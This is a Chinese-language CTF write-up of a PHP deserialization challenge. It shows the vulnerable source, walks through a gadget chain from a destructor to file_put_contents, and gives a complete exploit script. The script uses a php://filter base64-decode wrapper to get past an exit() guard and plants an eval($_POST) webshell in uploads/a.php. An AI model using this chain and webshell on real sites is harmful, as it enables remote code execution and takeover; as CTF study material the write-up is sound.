根据提示加上src=1参数会显示PHP源码:
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return $filename;
}
return null;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
很明显是一道构造反序列化来得到flag的题。
源码中一共有两个类,这里想利用反序列化只能考虑借助wakeup、destruct方法,正好A中有一个destruct,那就从A入手进行审计。
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
如果autosave为false,save方法会被触发,save方法可能触发反序列化。因此A类中autosave必须为假。接下来看save方法如何触发反序列化。
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
save中调用了getForStorage方法,该方法返回json数据。getForStorage方法调用了cleanContents方法,该方法用于求所给contents中与path、dirname、basename所在数组的交集。也就是说contents中只能包含path、dirname等key值。
小结一下就是save方法用来将传递的contents经过筛选之后得到一段json值,并将该值交给了store属性的set方法处理。
那么,contents是否可以被用户控制,set方法能否执行命令或读写文件呢?
重新阅读上述代码,contents变量值来自于处理后的cache变量,cache变量是A的一个属性,因此它是可控的。对于set方法,A中并没有set方法,B中有,因此store一定是个B的对象。
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return $filename;
}
return null;
}
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}
阅读以上代码,可以看到file_put_contents函数,这里被触发就有可能写入webshell。该函数用到的函数名会被getCacheKey处理一下,文件名来源于A中的key属性。该函数中被写入的值来源于data变量,data变量由A中的contents经过serialize处理得到,serialize是一个可控变量,可以自己选定函数名。serialize处理后可以进行压缩,但是这里显然是不能让他压缩,直接把options['data_compress']定义为false即可。
小结一下,A中传递过来contents和key参数给B的set方法做处理,如果能选定适当的serialize函数,构造合适的contents以及合适的文件名,那么就可以写入webshell,获取flag。
<?php
class A {
protected $store;
#key作文文件名
protected $key;
protected $expire;
public function __construct()
{
$this->store = new B();
#/../用于绕过uniqid生成的随机值,后面的/.用来绕过文件名限制
$this->key = '/../c.php/.';
#随意的数值,这里似乎没啥用
$this->expire = 111;
}
}
$a = new A();
#动态生成成员
#用于触发save方法
$a->autosave=false;
#处理之后得到contents,path是一个base64值
#<?php eval($_POST[a]);?>
$a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+"));
#这个并没有什么用,只是用来添加到json中,随便设
$a->complete = '2';
?>
class B{
public $options;
public function __construct()
{
#禁止压缩
$this->options['data_compress'] = false;
#随意的数值
$this->options['expire'] = 111;
#serialize的方法
$this->options['serialize'] = 'strval';
#用来确定写入文件的地址
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
}
}
<?php
class B{
public $options;
public function __construct()
{
$this->options['data_compress'] = false;
$this->options['expire'] = 111;
$this->options['serialize'] = 'strval';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
}
}
class A {
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->store = new B();
$this->key = '/../a.php/.';
$this->expire = 111;
}
}
$a = new A();
$a->autosave=false;
$a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+"));
$a->complete = '2';
echo urlencode(serialize($a));
?>
将data传给题目页面后在用蚁剑访问/uploads/a.php即可拿到shell,并得到flag。
这个题考查了审计能力和构造payload的能力,还是有点难度的,审计花了我不少时间。最后我想好了怎么构造payload后卡在了一个点上,就是A类没有的成员怎么处理。后来才知道,PHP支持动态生成成员,PHP实在是太灵活了,但我觉得灵活与安全不好兼得。